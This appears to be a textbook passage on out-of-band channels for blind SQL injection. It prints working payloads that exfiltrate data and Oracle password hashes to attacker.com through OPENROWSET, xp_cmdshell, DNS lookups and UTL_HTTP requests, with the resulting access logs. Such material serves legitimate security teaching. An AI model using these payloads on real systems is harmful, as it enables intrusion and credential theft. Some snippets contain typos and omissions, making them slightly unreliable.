The
second major category of techniques for retrieving data with blind SQL
injection vulnerabilities is the use of alternative, out-of-bound
channels. Instead of relying on an inference technique to derive data,
channels apart from the HTTP response are co-opted into to carry chunks
of data for us. The channels are not applicable to all databases, as
they tend to rely on the databases’ supported functionality; by way of
example, DNS is a channel that can be utilized with SQL Server and
Oracle, but not with MySQL.
We
will discuss four separate alternative channels for blind SQL
injection: database connections, DNS, e-mail, and HTTP. The basic idea
is to package the results of an SQL query in such a way that they can be carried back to the attacker using one of the three alternative channels.
Database Connections
The
first alternative channel is specific to Microsoft SQL Server and
permits an attacker to create a connection from the victim's database
to the attacker's database and carry query data over the connection.
This is accomplished using the OPENROWSET
command and can be an attacker's best friend where available. For this
attack to work the victim database must be able to open a Transmission
Control Protocol (TCP) connection to the attacker's database on the
default port 1433; if egress filtering is in place at the victim or if
the attacker is performing ingress filtering, the connection will fail.
However, you can connect to a different port, simply by specifying the
port number after the destination Internet Protocol (IP) address. This
can be very useful when the remote database server can connect back to
your machine on only a few specific ports.
OPENROWSET
is used on SQL Server to perform a one-time connection to a remote OLE
DB data source (e.g., another SQL server). One example legitimate usage
is to retrieve data that resides on a remote database as an alternative
to link the two databases, which is better suited to cases when the
data exchange needs to be performed on a regular basis. A typical way
to call OPENROWSET is as follows:
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;
Address=10.0.2.2;uid=sa; pwd=password', 'SELECT review_author FROM reviews')
Here we connected to the SQL server at the address 10.0.2.2 as user sa, and we ran the query SELECT review_author FROM reviews, whose results are transferred back and visualized by the outermost query. User sa is a user of the database at address 10.0.2.2, and not of the database where OPENROWSET is executed. Also note that to successfully perform the query as user sa, we must successfully authenticate, providing its correct password.
Although the example usage retrieves results from a foreign database with the SELECT statement, we can also use OPENROWSET to transmit data to a foreign database using an INSERT statement:
INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSOCN;
Address=192.168.0.1;uid=foo; pwd=password', 'SELECT * FROM
attacker_table') SELECT name FROM sysobjects WHERE xtype='U'
By executing this query, we will select the names of user tables on the local database, and append such rows into attacker_table which resides on the attacker's server at address 192.168.0.1. Of course, for the command to complete correctly, attacker_table’s columns must match the results of the local query, so the table would consist of a single varchar column.
Clearly
this is a great example of an alternative channel; we can execute SQL
that produces results and carries them in real time back to the
attacker. Because the channel is not dependent at all on the page
response, OPENROWSET
is an ideal fit for blind SQL injection vulnerabilities. Tool authors
have recognized this, and at least two public tools rely on OPENROWSET
for exploitation: DataThief by Cesar Cerrudo and BobCat by nmonkee. The
first is a proof-of-concept tool that demonstrates the power of OPENROWSET and the second is a tool that removes much of the complexity of executing OPENROWSET attacks through a GUI.
This technique is not limited to data. If you have administrative privileges and have reenabled the xp_cmdshell extended procedure , you can use the same attack to
obtain the output of commands that have been executed at the operating
system level. For instance, the following query would make the target
database send the list of files and directories of C:\:
INSERT INTO OPENROWSET('SQLOLEDB',
'Network=DBMSSOCN;Address=www.attacker.com:80; uid=sa; pwd=53kr3t',
'SELECT * FROM table') EXEC master..xp_cmdshell 'dir C:\'
DNS Exfiltration
As
the most well-known alternative channel, DNS has been used both as a
marker to find SQL injection vulnerabilities and as a channel on which
to carry data. The advantages of DNS are numerous:
Where networks have only ingress but no egress filtering, the database can issue DNS requests directly to the attacker.
DNS
uses User Datagram Protocol (UDP), a protocol that has no state
requirements, so you can “fire and forget.” If no response is received
for a lookup request issued by the database, at worst a non-fatal error
condition occurs.
The
design of DNS hierarchies means that the vulnerable database does not
have to be able to send a packet directly to the attacker. Intermediate
DNS servers will mostly be able to carry the traffic on the database's
behalf.
When
performing a lookup, the database will, by default, rely on the DNS
server that is configured into the operating system, which is normally
a key part of basic system setup. Thus, in all but the most restricted
networks, a database can issue DNS lookups that will exit the victim's
network.
The
drawback of DNS is that the attacker must have access to a DNS server
that is registered as authoritative for some zone (“attacker.com” in
our examples), where he can monitor each lookup performed against the
server. Typically this is performed either by monitoring query logs or
by running tcpdump.
SQL
Server and Oracle both have the ability to directly or indirectly cause
a DNS request to be made. Under Oracle, this is possible with the
UTL_INADDR package, which has an explicit GET_HOST_ADDRESS function to look up forward entries and a GET_HOST_NAME function to look up reverse entries:
UTL_INADDR.GET_HOST_ADDRESS(' www.victim.com') returns 192.168.0.1
UTL_INADDR.GET_HOST_NAME('192.168.0.1') returns www.victim.com
These are more useful than the previously covered DBMS_LOCK.SLEEP
function, because the DNS functions do not require PL/SQL blocks; thus,
you can insert them into subqueries or predicates. The next example
shows how you can extract the database login via an insertion into a
predicate:
SELECT * FROM reviews WHERE
review_author=UTL_INADDR.GET_HOST_ADDRESS((SELECT USER FROM
DUAL)||'.attacker.com')
SQL
Server does not support such an explicit lookup mechanism, but it is
possible to indirectly initiate DNS requests through certain stored
procedures. For example, you could execute the nslookup command through the xp_cmdshell procedure (available only to the administrative user, and in SQL Server 2005 and later disabled by default):
EXEC master..xp_cmdshell 'nslookup www.attacker.com'
The advantage of using nslookup
is that the attacker can specify his own DNS server to which the
request should be sent directly. If the attacker's DNS server is
publicly available at 192.168.1.1, the SQL snippet to directly look up
DNS requests is as follows:
EXEC master..xp_cmdshell 'nslookup www.attacker.com 192.168.1.1'
You can tie this into a little shell script, as follows, to extract directory contents:
EXEC master..xp_cmdshell 'for /F "tokens=5" %i in (''dir c:\'') do nslookup
%i.attacker.com'
The preceding code produces the following lookups:
has.attacker.com.victim.com.
has.attacker.com.
6452-9876.attacker.com.victim.com.
6452-9876.attacker.com.
AUTOEXEC.BAT.attacker.com.victim.com.
AUTOEXEC.BAT.attacker.com.
comment.doc.attacker.com.victim.com.
comment.doc.attacker.com.
wmpub.attacker.com.victim.com.
wmpub.attacker.com.
free.attacker.com.victim.com.
free.attacker.com.
Clearly
the exploit had problems; you do not receive all output from the “dir”
command, as only the fifth space-delimited token is returned from each
line, and this method cannot handle file or directory names that have
spaces or other disallowed domain name characters. The observant reader
would also have noticed that each filename is queried twice and the
first query is always against the domain victim.com.
Note
This
is the default search domain for the database machines. You can prevent
lookups on the default domain by appending a period (.) to the name
that is passed to nslookup.
Other
stored procedures will cause an SQL server to look up a DNS name, and
they rely on the support built into Windows for network Universal
Naming Convention (UNC) paths. Many Windows file-handling routines can
access resources on UNC shares, and when attempting to connect to a UNC
path the operating system must first look up the IP address. For
instance, if the UNC path supplied to some file-handling function is
\\poke.attacker.com\blah, the operating system will first perform a DNS
lookup on poke.attacker.com.
By monitoring the server that is authoritative for the attacker.com
zone, the attacker can ascertain whether the exploit was successful.
The procedures are specific to SQL Server versions:
xp_getfiledetails (SQL Server 2000; requires a path to a file)
xp_fileexist (SQL Server 2000, 2005, and 2008; requires a path to a file)
xp_dirtree (SQL Server 2000, 2005, and 2008; requires a folder path)
For instance, to extract the database login via DNS, you could use:
DECLARE @a CHAR(128);SET @a='\\'+SYSTEM_USER+'.attacker.com.';
EXEC master..xp_dirtree @a
The
preceding snippet used an intermediate variable to store the path,
because string concatenation is not permitted in the procedure's
argument list. The SQL indirectly caused a DNS lookup for the host name
sa.attacker.com. indicating that the administrative login was used.
As I pointed out when performing DNS lookups through xp_cmdshell,
the presence of illegal characters in a path will cause the resolver
stub to fail without attempting a lookup, as will a UNC path that is
more than 128 characters long. It is safer to first convert data you wish
to retrieve into a format that is cleanly handled by DNS, and one
method for doing this is to convert the data into a hexadecimal
representation. SQL Server contains a function called FN_VARBINTOHEXSTR( ) that takes as its sole argument a parameter of type VARBINARY and returns a hexadecimal representation of the data. For example:
SELECT master.dbo.fn_varbintohexstr(CAST(SYSTEM_USER as VARBINARY))
produces
which is the UTF-16 form of sa.
The
next problem is that of path lengths. Because the length of data is
likely to exceed 128 characters, you run the risk of either queries
failing due to excessively long paths or, if you take only the first
128 characters from each row, missing out on data. By increasing the
complexity of the exploit, you can retrieve specific blocks of data
using a SUBSTRING( ) call. The following example performs a lookup on the first 26 bytes from the first review_body column in the reviews table:
DECLARE @a CHAR(128);
SELECT @a='\\'+master.dbo.fn_varbintohexstr(CAST(SUBSTRING((SELECT TOP 1
CAST(review_body AS CHAR(255)) FROM reviews),1,26) AS
VARBINARY(255)))+'.attacker.com.';
EXEC master..xp_dirtree @a;
The preceding code produced “0x4d6f7669657320696e20746869732067656e7265206f667465.attacker.com.” or “Movies in this genre ofte”.
Path
length is unfortunately not the last complexity that we face. Although
UNC paths can be at most 128 characters, this includes the prefix \\,
the domain name that is appended, as well as any periods used to
separate labels in the path. Labels are strings in a path that are
separated by periods, so the path blah.attacker.com has three labels,
namely “blah”, “attacker”, and “com”. It is illegal to have a single
128-byte label because labels can have at most 63 characters. To format
the pathname such that it fulfills the label length requirements, a
little more SQL is required to massage the data into the correct form.
A small detail that can get in the way when using DNS is that
intermediate resolvers can cache results which prevent lookups from
reaching the attacker's DNS server. You can bypass this by including
some random-looking value in the lookup so that subsequent lookups are
not identical; current time is one option, as is the row number or a
true random value.
Finally,
enabling the extraction of multiple rows of data requires wrapping all
of the aforementioned refinements in a loop that extracts rows one by
one from a target table, breaks the data into small chunks, converts
the chunks into hexadecimal, inserts periods every 63 characters in the
converted chunk, prepends \\ and appends the attacker's domain name, and executes a stored procedure that indirectly causes a lookup.
The
challenge of extracting all data (regardless of length or type) through
DNS is tricky and solvable on an SQL Server database mainly due to
T-SQL, which provides loops, conditional branching, local variables,
and so on. Even though Oracle has explicit DNS functions, its more
serious limitations from an attacker's point of view (lack of PL/SQL
injection in SQL) prevent the exploitation seen on SQL Server.
Zoning Out
In
the examples covered here, we've assumed that the attacker controls the
zone attacker.com and has full access to the authoritative server for
that zone. However, when using DNS as an exfiltration channel on a
regular basis for assessments or other work, using your zone's
authoritative DNS server as the staging ground for the attack seems
brash. Apart from the fact that this requires granting all colleagues
unfettered access to the server, it is also not flexible. We advocate
creating at least one subdomain that has an NS
record pointing to the machine which you grant full access to all
colleagues. You could even create a subdomain per colleague with the NS
pointing to a machine controlled by that colleague. Here is a quick
run-through on how you can add a subdomain to the zone attacker.com in BIND. In the zone file for the domain attacker.com add the following lines:
dnssucker.attacker.com. NS listen.attacker.com. listen.attaker.com. A 192.168.1.1
The first line contains the NS
record and the second provides a glue record. On the machine
listen.attacker.com, a DNS server is installed that is authoritative
for the domain dnssucker.attacker.com.
Subsequent DNS exfiltration will use .dnssucker.attacker.com as a suffix.
|
E-mail Exfiltration
Both
SQL Server and Oracle support sending e-mails from within the database,
and e-mail presents an intriguing exfiltration channel. Quite similarly
to DNS, e-mails sent using Simple Mail Transfer Protocol (SMTP) do not
require a direct connection between the sender and recipient. Rather,
an intermediate network of mail transfer agents (MTAs), essentially
e-mail servers, carries the e-mail on the sender's behalf. The only
requirement is that there exists a route from the sender to the
receiver and this indirect approach is a useful channel for blind SQL
injection where other, more convenient channels are not possible. A
limitation of the approach is its asynchronous nature; an exploit is
sent and the e-mail could take awhile to arrive. Hence, there are no
tools that the authors are aware of that support SMTP as a channel for
blind SQL injection.
HTTP Exfiltration
The
final exfiltration channel examined here is HTTP, which is available in
databases that provide functionality for querying external Web servers
and is useable in installations where the database machine has
network-layer permission to access Web resources controlled by the
attacker. SQL Server and MySQL do not have default mechanisms for
constructing HTTP requests, but you could get there with custom
extensions. Oracle, on the other hand, has an explicit function and
object type by which HTTP requests can be made, provided by the
UTL_HTTP or HTTPURITYPE package. The function and the object type are
useful as they can be used in regular SQL queries, so a PL/SQL block is
not required. Both methods are granted to PUBLIC,
so any database user can execute them. HTTPURITYPE is not mentioned in
most Oracle hardening guides and is normally not removed from PUBLIC. HTTP requests are as powerful as UNION SELECTs.
Usage of the functions/object types is as follows:
UTL_HTTP.REQUEST(' www.attacker.com/')
HTTPURITYPE(' www.attacker.com/').getclob
You
can combine this with a blind SQL injection vulnerability to form
exploits that combine the data you wish to extract with a request to a
Web server you control using string concatenation:
SELECT * FROM reviews WHERE
review_author=UTL_HTTP.REQUEST(' www.attacker.com/'||USER)
After reviewing the request logs on the Web server, we find the log entry containing the database login (underlined):
192.168.1.10 - - [13/Jan/2009:08:38:04 -0600] "GET /SQLI HTTP/1.1" 404 284
This
Oracle function has two interesting characteristics: As part of the
request, a host name must be converted into an IP address implying a
second method to cause DNS requests to be issued where DNS is the
exfiltration channel, and the UTL_HTTP.REQUEST
function supports HTTPS requests which could aid in hiding outgoing Web
traffic. The role of UTL_HTTP/HTTPURITYPE is often underestimated. It
is possible to download an entire table with this function by using the
proper SQL statement. Depending on the position of injection in the
query it is possible that the following approach works:
SELECT * FROM unknowntable
UNION SELECT NULL, NULL, NULL FROM
LENGTH(UTL_HTTP.REQUEST(' www.attacker.com/'||username||chr(61)||
password))
Here
all usernames and passwords are sent to the attacker's access log. This
channel can also be used for the split and balance technique (where the
original parameter's value was aa):
For Oracle 11g only
'a'||CHR(UTL_HTTP.REQUEST(' www.attacker.com/'||(SELECT sys.stragg (DISTINCT
username||chr(61)||password||chr(59)) FROM dba_users)))||'a
The preceding code produces the following log entry:
192.168.2.165 - - [14/Jan/2009:21:34:38 +0100] "GET /SYS=
AD24A888FC3B1BE7;SYSTEM= BD3D49AD69E3FA34;DBSNMP=
E066D214D5421CCC;IBO=7A0F2B316C212D67;OUTLN=4A3BA55E08595C81;WMSYS=7C
9BA362F8314299;ORDSYS=7C9BA362F8314299;ORDPLUGINS=88A2B2C183431F00
HTTP/1.1" 404 2336
For Oracle 9i Rel. 2 and higher + XMLB
'a'||CHR(UTL_HTTP.REQUEST('attacker.com/'||(SELECT
xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype('<?xml
version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl=" http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"><xsl:for-each
select="/ROWSET/USERNAME"><xsl:value-of select="text()"/>;
</xsl:for-each></xsl:template></xsl:stylesheet>')).getstringval()
listagg from all_users)))||'a
The preceding code produces the following log entry:
192.168.2.165 - - [14/Jan/2009:22:33:48 +0100] "GET
/SYS;SYSTEM;DBSNMP;IBO;OUTLN;WMSYS;ORDSYS;ORDPLUGINS HTTP/1.1" 404
936
Using URIHTTPTYPE
… UNION SELECT null,null,LENGTH(HTTPURITYPE(' http://attacker/'||username||
'='||password).Ggetclob FROM sys.user$ WHERE type#=0 AND
LENGTH(password)=16)
The web server access.log file will contain all usernames and passwords from the database.
Lastly, we can try injection in an ORDER BY
clause, which is sometimes a little bit more complicated because the
Oracle optimizer ignores sort orders if the result is known or if only
one column is present in the query:
SELECT banner FROM v$version ORDER BY LENGTH((SELECT COUNT(1) FROM
dba_users WHERE
UTL_HTTP.REQUEST('www.attacker.com/'||username||'='||password) IS NOT
null));
The preceding code produces the following log entry:
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /SYS=AD24A888FC3B1BE7
HTTP/1.1" 404 336
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /SYSTEM=BD3D49AD69E3FA34
HTTP/1.1" 404 339
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /DBSNMP=E066D214D5421CCC
HTTP/1.1" 404 339
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /IBO=7A0F2B316C212D67
HTTP/1.1" 404 337
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /OUTLN=4A3BA55E08595C81
HTTP/1.1" 404 338
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /WMSYS=7C9BA362F8314299
HTTP/1.1" 404 338
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /ORDSYS=7EFA02EC7EA6B86F
HTTP/1.1" 404 339
192.168.2.165 - - [15/Jan/2009:22:44:29 +0100] "GET/ORDPLUGINS=88A2B2C183431F00
HTTP/1.1" 404 343